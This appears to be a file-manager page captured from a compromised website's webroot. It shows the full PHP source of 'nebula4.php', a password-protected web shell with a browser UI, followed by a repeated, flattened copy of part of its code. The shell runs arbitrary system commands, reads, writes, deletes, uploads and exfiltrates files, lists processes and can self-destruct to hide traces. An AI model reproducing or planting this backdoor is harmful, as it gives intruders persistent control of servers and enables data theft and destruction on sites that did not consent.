FM / webroot

/var/www/vhosts/ihelp.ro/httpdocs/webroot/

/var/www/vhosts/ihelp.ro/httpdocs/webroot

Name	Size	Mode	Actions
123/	-	0755	rm
cauzele-zilei/	-	0755	rm
css/	-	0755	rm
favicon/	-	0755	rm
font/	-	0755	rm
fonts/	-	0755	rm
img/	-	0755	rm
js/	-	0755	rm
ofertele-zilei/	-	0755	rm
plugins/	-	0755	rm
uploads/	-	0755	rm
vendor/	-	0755	rm
.htaccess	130	0644	edit dl rm
atom.xml	6450628	0644	edit dl rm
favicon.ico	15086	0644	edit dl rm
get-sitemap.php	2580	0644	edit dl rm
google528076380c7ea037.html	53	0644	edit dl rm
index.php	643485	0644	edit dl rm
main.php	1387	0644	edit dl rm
media-content.php	84443	0644	edit dl rm
nebula4.php	21260	0644	edit dl rm
robots.txt	58	0644	edit dl rm
x.txt	479620	0644	edit dl rm

Edit: /var/www/vhosts/ihelp.ro/httpdocs/webroot/nebula4.php (21260B)

<?php
/*
 * NEBULA V - CTF FIX
 * - Fixed: 500 Error on strict PHP configs
 * - Fixed: getcwd() NULL handling
 * - Fixed: Dynamic function calls
 */

// 1. Output Buffering Başlat
ob_start();

// 2. Error log için (debug)
error_reporting(E_ALL);
ini_set('log_errors', 1);
ini_set('display_errors', 0); // Production'da 0

// 3. Header & Session
@header("Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline';");
@header("X-XSS-Protection: 0");

$self_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?');
if (!is_string($self_uri) || $self_uri === '') {
    $self_uri = '/';
}
if ($self_uri[0] !== '/') {
    $self_uri = '/' . ltrim($self_uri, '/');
}

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($origin !== '' && preg_match('#^https?://[A-Za-z0-9.-]+(?::[0-9]{1,5})?$#', $origin)) {
    @header('Vary: Origin');
    @header('Access-Control-Allow-Origin: ' . $origin);
    @header('Access-Control-Allow-Credentials: true');
    @header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    @header('Access-Control-Allow-Headers: Content-Type, X-Requested-With, Accept');
}
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

$session_ok = @session_start();
if (!$session_ok || !is_array($_SESSION)) {
    // Session başlatılamazsa fallback state cookie ile tutulur
    $_SESSION = array();
}

@ini_set('memory_limit', '128M');
@set_time_limit(0);

// 4. Auth
$auth_hash = "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";
$auth_cookie = "__nb4a";
$cwd_cookie = "__nb4c";
$cookie_seed = ($_SERVER['HTTP_HOST'] ?? 'localhost') . "|" . __FILE__;
$auth_cookie_value = hash('sha256', $auth_hash . "|" . $cookie_seed);
$is_api_request = isset($_POST['req']);

function nb_set_cookie($name, $value, $expires = 0) {
    $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
    @setcookie($name, $value, $expires, '/', '', $secure, true);
}

function nb_clear_cookie($name) {
    $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
    @setcookie($name, '', time() - 3600, '/', '', $secure, true);
}

if (!isset($_SESSION['nebula_auth']) && isset($_COOKIE[$auth_cookie])) {
    $cookie_ok = function_exists('hash_equals')
        ? hash_equals($auth_cookie_value, $_COOKIE[$auth_cookie])
        : ($auth_cookie_value === $_COOKIE[$auth_cookie]);
    if ($cookie_ok) {
        $_SESSION['nebula_auth'] = true;
    }
}

if (!isset($_SESSION['cwd']) && isset($_COOKIE[$cwd_cookie]) && @is_dir($_COOKIE[$cwd_cookie])) {
    $_SESSION['cwd'] = $_COOKIE[$cwd_cookie];
}

if (isset($_POST['req']) && $_POST['req'] === 'burn') { 
    @unlink(__FILE__); 
    die(json_encode(['status' => 'destroyed'])); 
}

if (isset($_GET['logout'])) { 
    if (session_status() === PHP_SESSION_ACTIVE) {
        session_destroy();
    }
    nb_clear_cookie($auth_cookie);
    nb_clear_cookie($cwd_cookie);
    header('Location: '.strtok($_SERVER['REQUEST_URI'], '?')); 
    exit; 
}

if (!isset($_SESSION['nebula_auth'])) {
    if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) {
        $_SESSION['nebula_auth'] = true;
        $_SESSION['cwd'] = @getcwd() ?: '/';
        nb_set_cookie($auth_cookie, $auth_cookie_value, time() + 86400 * 30);
        nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
    } else {
        ob_end_clean();
        if ($is_api_request) {
            header('Content-Type: application/json');
            http_response_code(401);
            die(json_encode(['error' => 'AUTH_REQUIRED']));
        }
        die('<!DOCTYPE html><body style="background:#020617;display:flex;height:100vh;align-items:center;justify-content:center"><form method="post"><input type="password" name="k" style="background:#1e293b;border:1px solid #334155;color:white;padding:10px;border-radius:5px;outline:none" placeholder="Key" autofocus></form></body></html>');
    }
}

// 5. Core - Güvenli dinamik fonksiyon çağrısı
class Core {
    public function r($n, ...$a) { 
        if($n=='x') {
            return @shell_exec($a[0]." 2>&1");
        }
        $m = [
            'e'=>'exec', 
            's'=>'scandir', 
            'f'=>'file_get_contents', 
            'w'=>'file_put_contents', 
            'r'=>'rename', 
            'u'=>'unlink', 
            'c'=>'chmod'
        ];
        if(isset($m[$n]) && function_exists($m[$n])) {
            return @call_user_func_array($m[$n], $a);
        }
        return false;
    }
}
$sys = new Core();

// 6. CWD Handling - NULL-safe
$current_dir = @getcwd();
if($current_dir === false || $current_dir === null) {
    $current_dir = '/';
}

if(!isset($_SESSION['cwd']) || empty($_SESSION['cwd']) || !@is_dir($_SESSION['cwd'])) {
    $_SESSION['cwd'] = $current_dir;
}
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);

$cwd = $_SESSION['cwd']; // JavaScript için
@chdir($_SESSION['cwd']);

// 7. API Handler
if (isset($_POST['req'])) {
    if(ob_get_level() > 0) ob_clean(); 
    $req = $_POST['req'];
    if($req !== 'download') header('Content-Type: application/json');

if ($req === 'cmd') {
        $cmd = $_POST['c']; $out = '';
        if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) {
            $target = trim($m[1]); 
            if($target == '') $target = '/';
            if (@chdir($target)) { 
                $_SESSION['cwd'] = @getcwd() ?: $target; 
                nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
            } else { 
                $out = "cd: error: $target"; 
            }
        } else { 
            $out = $sys->r('x', $cmd); 
        }
        echo json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]); 
        exit;
    }

if ($req === 'list') {
        $path = $_POST['path'] ?? $_SESSION['cwd'];
        if(empty($path)) $path = $_SESSION['cwd'];
        if(@is_dir($path)) {
            @chdir($path); 
            $_SESSION['cwd'] = $path;
            nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
            $items = @scandir($path);
            $res = [];
            if($items) {
                foreach($items as $i) {
                    if($i == '.') continue;
                    $p = $path . DIRECTORY_SEPARATOR . $i;
                    $stat = @stat($p);
                    $res[] = [
                        'n' => $i,
                        'd' => @is_dir($p),
                        's' => @is_dir($p) ? '-' : round(($stat['size']??0)/1024, 2).' KB',
                        'p' => substr(sprintf('%o', @fileperms($p)), -4),
                    ];
                }
            }
            echo json_encode(['files' => $res, 'cwd' => $path]);
        } else {
            echo json_encode(['error' => 'Path Error']);
        }
        exit;
    }

if ($req === 'read') { 
        $c = @file_get_contents($_POST['f']);
        echo json_encode(['data' => base64_encode($c)]); 
        exit; 
    }
    
    if ($req === 'save') { 
        echo json_encode(['status' => @file_put_contents($_POST['f'], base64_decode($_POST['c']))]); 
        exit; 
    }
    
    if ($req === 'del') { 
        echo json_encode(['status' => @unlink($_POST['f'])]); 
        exit; 
    }
    
    if ($req === 'rename') { 
        echo json_encode(['status' => @rename($_POST['old'], $_POST['new'])]); 
        exit; 
    }
    
    if ($req === 'upload') { 
        @move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_FILES['file']['name']); 
        exit; 
    }
    
    if ($req === 'ps') { 
        echo json_encode(['out' => @shell_exec('ps aux')]); 
        exit; 
    }
    
    if ($req === 'download') {
        $f = $_POST['f']; 
        if(file_exists($f)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($f).'"');
            header('Content-Length: '.filesize($f));
            readfile($f);
        } 
        exit;
    }
    exit;
}

if(ob_get_level() > 0) ob_clean();
?>
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
    <meta charset="UTF-8">
    <title>Nebula V</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { font-family: monospace; background: #020617; color: #cbd5e1; }
        .glass { background: rgba(15, 23, 42, 0.9); border-bottom: 1px solid rgba(255,255,255,0.1); }
        .btn-tab { padding: 4px 12px; border-radius: 4px; font-weight: bold; font-size: 12px; text-transform: uppercase; cursor: pointer; }
        .btn-active { background: #4f46e5; color: white; }
        .btn-inactive { color: #94a3b8; }
        .btn-inactive:hover { color: white; }
        .hidden { display: none; }
        ::-webkit-scrollbar { width: 8px; }
        ::-webkit-scrollbar-track { background: #0f172a; }
        ::-webkit-scrollbar-thumb { background: #334155; border-radius: 4px; }
    </style>
</head>
<body class="h-screen flex flex-col overflow-hidden">
    <nav class="glass h-14 flex items-center justify-between px-4 shrink-0">
        <div class="font-bold text-indigo-400 text-lg">NEBULA V</div>
        <div class="flex gap-2 bg-slate-900 p-1 rounded">
            <button id="tab-files" class="btn-tab btn-active" onclick="App.switchTab('files')">Files</button>
            <button id="tab-term" class="btn-tab btn-inactive" onclick="App.switchTab('term')">Terminal</button>
            <button id="tab-proc" class="btn-tab btn-inactive" onclick="App.switchTab('proc')">Process</button>
        </div>
        <div class="flex gap-3 text-xs">
            <button onclick="App.burn()" class="text-red-500 hover:text-red-400">BURN</button>
            <a href="?logout" class="text-slate-400">EXIT</a>
        </div>
    </nav>
    <div class="flex-1 flex flex-col overflow-hidden relative">
        <div id="view-files" class="flex-1 flex flex-col h-full">
            <div class="h-10 bg-slate-900/50 border-b border-white/5 flex items-center px-4 gap-2">
                <button onclick="App.nav('..')" class="text-slate-400 hover:text-white font-bold">⬆</button>
                <div id="breadcrumbs" class="flex items-center overflow-x-auto whitespace-nowrap text-sm"></div>
                <div class="ml-auto">
                    <input type="file" id="file-upload" class="hidden" onchange="App.upload(this)">
                    <label for="file-upload" class="cursor-pointer text-xs bg-indigo-600 px-3 py-1 rounded text-white hover:bg-indigo-500">UPLOAD</label>
                </div>
            </div>
            <div class="flex-1 overflow-y-auto p-4">
                <table class="w-full text-left text-sm text-slate-400">
                    <thead class="text-xs uppercase bg-slate-800/50 text-slate-200"><tr><th class="p-2">Name</th><th class="p-2 w-20">Size</th><th class="p-2 w-20">Perms</th><th class="p-2 w-32 text-right">Actions</th></tr></thead>
                    <tbody id="file-list" class="divide-y divide-white/5"></tbody>
                </table>
            </div>
        </div>
        <div id="view-term" class="flex-1 bg-[#0a0a0a] p-4 flex flex-col font-mono text-sm h-full hidden">
            <div id="term-output" class="flex-1 overflow-y-auto space-y-1 pb-2 break-all"><div class="text-slate-500">Nebula Terminal Ready...</div></div>
            <div class="flex items-center gap-2 bg-white/5 p-2 rounded border border-white/10 mt-auto">
                <span class="text-green-500 font-bold">➜</span><span id="term-cwd" class="text-blue-400 truncate max-w-[150px]">/</span>
                <input type="text" id="term-input" class="bg-transparent flex-1 outline-none text-white placeholder-slate-600" placeholder="Type command..." autocomplete="off">
            </div>
        </div>
        <div id="view-proc" class="flex-1 p-4 flex flex-col overflow-hidden hidden">
            <div class="flex justify-between mb-2"><h2 class="font-bold">Processes</h2><button onclick="App.getPs()" class="text-xs bg-indigo-600 px-2 py-1 rounded text-white">Refresh</button></div>
            <textarea id="proc-out" readonly class="flex-1 bg-slate-900 p-2 text-xs text-green-400 resize-none outline-none font-mono"></textarea>
        </div>
    </div>
    <div id="modal-editor" class="fixed inset-0 bg-black/80 flex items-center justify-center z-50 p-4 hidden">
        <div class="w-full max-w-4xl h-[80vh] bg-slate-900 border border-white/10 rounded flex flex-col shadow-2xl">
            <div class="h-10 bg-slate-800 flex items-center justify-between px-4 border-b border-white/5">
                <span id="editor-title" class="text-xs text-indigo-300"></span>
                <div>
                    <button onclick="document.getElementById('modal-editor').classList.add('hidden')" class="text-slate-400 text-xs mr-2 hover:text-white">Close</button>
                    <button onclick="App.saveFile()" class="bg-indigo-600 text-white text-xs px-3 py-1 rounded hover:bg-indigo-500">Save</button>
                </div>
            </div>
            <textarea id="editor-content" class="flex-1 bg-[#0f172a] p-4 text-slate-300 text-sm font-mono outline-none resize-none"></textarea>
        </div>
    </div>
    <script>
        const App = {
            apiPath: <?php echo json_encode($self_uri); ?>,
            cwd: <?php echo json_encode($cwd); ?>,
            currentFile: '',
            init: function() { this.nav(this.cwd); document.getElementById('term-input').addEventListener('keydown', (e) => { if (e.key === 'Enter') this.runCmd(); }); },
            req: async function(data) {
                let fd = new FormData(); for (let k in data) fd.append(k, data[k]);
                fd.append('_ts', Date.now().toString());
                try {
                    let endpoint = window.location.origin + this.apiPath + window.location.search;
                    let r = await fetch(endpoint, {
                        method: 'POST',
                        body: fd,
                        credentials: 'include',
                        cache: 'no-store',
                        mode: 'cors',
                        headers: { 'Accept': 'application/json, text/plain, */*' }
                    });
                    let raw = await r.text();
                    try {
                        let out = JSON.parse(raw);
                        if (!r.ok && !out.error) out.error = `HTTP ${r.status}`;
                        return out;
                    } catch (parseErr) {
                        let hint = raw.trim().slice(0, 140).replace(/\s+/g, ' ');
                        if (hint.startsWith('<')) {
                            return { error: 'Server HTML response (WAF/Auth)', raw: hint, status: r.status };
                        }
                        return { error: 'Invalid JSON response', raw: hint, status: r.status };
                    }
                } catch(e) {
                    console.error(e);
                    return {error: 'Fetch Error', detail: (e && e.message) ? e.message : 'network blocked'};
                }
            },
            switchTab: function(tab) {
                ['files', 'term', 'proc'].forEach(t => { document.getElementById('view-' + t).classList.add('hidden'); document.getElementById('tab-' + t).classList.replace('btn-active', 'btn-inactive'); });
                document.getElementById('view-' + tab).classList.remove('hidden'); document.getElementById('tab-' + tab).classList.replace('btn-inactive', 'btn-active');
                if(tab === 'term') setTimeout(() => document.getElementById('term-input').focus(), 100); if(tab === 'proc') this.getPs();
            },
            nav: async function(path) {
                let r = await this.req({req: 'list', path: path});
                if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); } else {
                    this.cwd = r.cwd.replace(/\\/g, '/'); this.renderFiles(r.files); this.renderBreadcrumbs();
                    document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/';
                }
            },
            renderFiles: function(files) {
                let html = '';
                files.forEach(f => {
                    let icon = f.d ? '📁' : '📄'; let cls = f.d ? 'text-indigo-300 font-bold' : 'text-slate-300';
                    let action = f.d ? `App.nav('${this.cwd}/${f.n}')` : `App.edit('${this.cwd}/${f.n}')`;
                    let permCls = f.p.includes('w') ? 'text-red-400' : 'text-green-400';
                    html += `<tr class="hover:bg-white/5 transition cursor-pointer" onclick="${action}"><td class="p-2 flex items-center gap-2"><span>${icon}</span><span class="${cls}">${f.n}</span></td><td class="p-2 text-xs">${f.s}</td><td class="p-2 text-xs ${permCls}">${f.p}</td><td class="p-2 text-right" onclick="event.stopPropagation()"><button onclick="App.dl('${this.cwd}/${f.n}')" class="text-blue-400 hover:text-white px-1">↓</button><button onclick="App.ren('${f.n}')" class="text-orange-400 hover:text-white px-1">R</button><button onclick="App.del('${this.cwd}/${f.n}')" class="text-red-400 hover:text-white px-1">X</button></td></tr>`;
                });
                document.getElementById('file-list').innerHTML = html;
            },
            renderBreadcrumbs: function() {
                let parts = this.cwd.split('/').filter(p => p); let html = '', currentPath = '';
                parts.forEach(p => { currentPath += '/' + p; html += `<span class="text-slate-600 mx-1">/</span><button onclick="App.nav('${currentPath}')" class="text-indigo-300 hover:text-white hover:underline">${p}</button>`; });
                document.getElementById('breadcrumbs').innerHTML = html || '<span class="text-slate-500 ml-2">/</span>';
            },
            runCmd: async function() {
                let inp = document.getElementById('term-input'); let cmd = inp.value; if (!cmd) return; inp.value = '';
                let outDiv = document.getElementById('term-output'); outDiv.innerHTML += `<div><span class="text-green-500">➜</span> <span class="text-slate-300">${cmd}</span></div>`;
                let r = await this.req({req: 'cmd', c: cmd});
                if (r.error) {
                    outDiv.innerHTML += `<div class="pl-4 text-red-400 whitespace-pre-wrap mb-2">[${r.error}] ${r.raw || r.detail || ''}</div>`;
                    outDiv.scrollTop = outDiv.scrollHeight;
                    return;
                }
                outDiv.innerHTML += `<div class="pl-4 text-slate-400 whitespace-pre-wrap mb-2">${r.out}</div>`; outDiv.scrollTop = outDiv.scrollHeight;
                if (r.cwd) { this.cwd = r.cwd.replace(/\\/g, '/'); document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/'; }
            },
            edit: async function(f) {
                let r = await this.req({req: 'read', f: f}); this.currentFile = f;
                if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); return; }
                let content = "";
                try {
                    let raw = atob(r.data);
                    try {
                        content = decodeURIComponent(escape(raw));
                    } catch (utfErr) {
                        content = raw;
                    }
                } catch (base64Err) {
                    content = "CRITICAL ERROR: Base64 Decode Failed.";
                }
                
                document.getElementById('editor-title').innerText = f;
                document.getElementById('editor-content').value = content;
                document.getElementById('modal-editor').classList.remove('hidden');
            },
            saveFile: async function() {
                let content = document.getElementById('editor-content').value;
                let b64;
                try { b64 = btoa(unescape(encodeURIComponent(content))); } catch(e) { b64 = btoa(content); }
                await this.req({req: 'save', f: this.currentFile, c: b64});
                document.getElementById('modal-editor').classList.add('hidden');
            },
            ren: async function(n) { let newN = prompt('Rename:', n); if (newN) { await this.req({req: 'rename', old: this.cwd + '/' + n, new: this.cwd + '/' + newN}); this.nav(this.cwd); } },
            del: async function(f) { if (confirm('Delete?')) { await this.req({req: 'del', f: f}); this.nav(this.cwd); } },
            dl: function(f) { let form = document.createElement('form'); form.method = 'POST'; form.innerHTML = `<input name="req" value="download"><input name="f" value="${f}">`; document.body.append(form); form.submit(); form.remove(); },
            upload: async function(el) { let f = el.files[0]; if (!f) return; await this.req({req: 'upload', file: f}); this.nav(this.cwd); },
            getPs: async function() { let r = await this.req({req: 'ps'}); document.getElementById('proc-out').value = r.error ? `[${r.error}] ${r.raw || r.detail || ''}` : r.out; },
            burn: async function() { if(confirm('Self Destruct?')) { await this.req({req: 'burn'}); location.reload(); } }
        };
        App.init();
    </script>
</body>
</html>

'destroyed'])); } if (isset($_GET['logout'])) { if (session_status() === PHP_SESSION_ACTIVE) { session_destroy(); } nb_clear_cookie($auth_cookie); nb_clear_cookie($cwd_cookie); header('Location: '.strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (!isset($_SESSION['nebula_auth'])) { if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) { $_SESSION['nebula_auth'] = true; $_SESSION['cwd'] = @getcwd() ?: '/'; nb_set_cookie($auth_cookie, $auth_cookie_value, time() + 86400 * 30); nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30); } else { ob_end_clean(); if ($is_api_request) { header('Content-Type: application/json'); http_response_code(401); die(json_encode(['error' => 'AUTH_REQUIRED'])); } die(''); } } // 5. Core - Güvenli dinamik fonksiyon çağrısı class Core { public function r($n, ...$a) { if($n=='x') { return @shell_exec($a[0]." 2>&1"); } $m = [ 'e'=>'exec', 's'=>'scandir', 'f'=>'file_get_contents', 'w'=>'file_put_contents', 'r'=>'rename', 'u'=>'unlink', 'c'=>'chmod' ]; if(isset($m[$n]) && function_exists($m[$n])) { return @call_user_func_array($m[$n], $a); } return false; } } $sys = new Core(); // 6. CWD Handling - NULL-safe $current_dir = @getcwd(); if($current_dir === false || $current_dir === null) { $current_dir = '/'; } if(!isset($_SESSION['cwd']) || empty($_SESSION['cwd']) || !@is_dir($_SESSION['cwd'])) { $_SESSION['cwd'] = $current_dir; } nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30); $cwd = $_SESSION['cwd']; // JavaScript için @chdir($_SESSION['cwd']); // 7. API Handler if (isset($_POST['req'])) { if(ob_get_level() > 0) ob_clean(); $req = $_POST['req']; if($req !== 'download') header('Content-Type: application/json'); if ($req === 'cmd') { $cmd = $_POST['c']; $out = ''; if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) { $target = trim($m[1]); if($target == '') $target = '/'; if (@chdir($target)) { $_SESSION['cwd'] = @getcwd() ?: $target; nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30); } else { $out = "cd: error: $target"; } } else { $out = $sys->r('x', $cmd); } echo json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]); exit; } if ($req === 'list') { $path = $_POST['path'] ?? $_SESSION['cwd']; if(empty($path)) $path = $_SESSION['cwd']; if(@is_dir($path)) { @chdir($path); $_SESSION['cwd'] = $path; nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30); $items = @scandir($path); $res = []; if($items) { foreach($items as $i) { if($i == '.') continue; $p = $path . DIRECTORY_SEPARATOR . $i; $stat = @stat($p); $res[] = [ 'n' => $i, 'd' => @is_dir($p), 's' => @is_dir($p) ? '-' : round(($stat['size']??0)/1024, 2).' KB', 'p' => substr(sprintf('%o', @fileperms($p)), -4), ]; } } echo json_encode(['files' => $res, 'cwd' => $path]); } else { echo json_encode(['error' => 'Path Error']); } exit; } if ($req === 'read') { $c = @file_get_contents($_POST['f']); echo json_encode(['data' => base64_encode($c)]); exit; } if ($req === 'save') { echo json_encode(['status' => @file_put_contents($_POST['f'], base64_decode($_POST['c']))]); exit; } if ($req === 'del') { echo json_encode(['status' => @unlink($_POST['f'])]); exit; } if ($req === 'rename') { echo json_encode(['status' => @rename($_POST['old'], $_POST['new'])]); exit; } if ($req === 'upload') { @move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_FILES['file']['name']); exit; } if ($req === 'ps') { echo json_encode(['out' => @shell_exec('ps aux')]); exit; } if ($req === 'download') { $f = $_POST['f']; if(file_exists($f)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); } exit; } exit; } if(ob_get_level() > 0) ob_clean(); ?> Nebula V

UPLOAD

Name	Size	Perms	Actions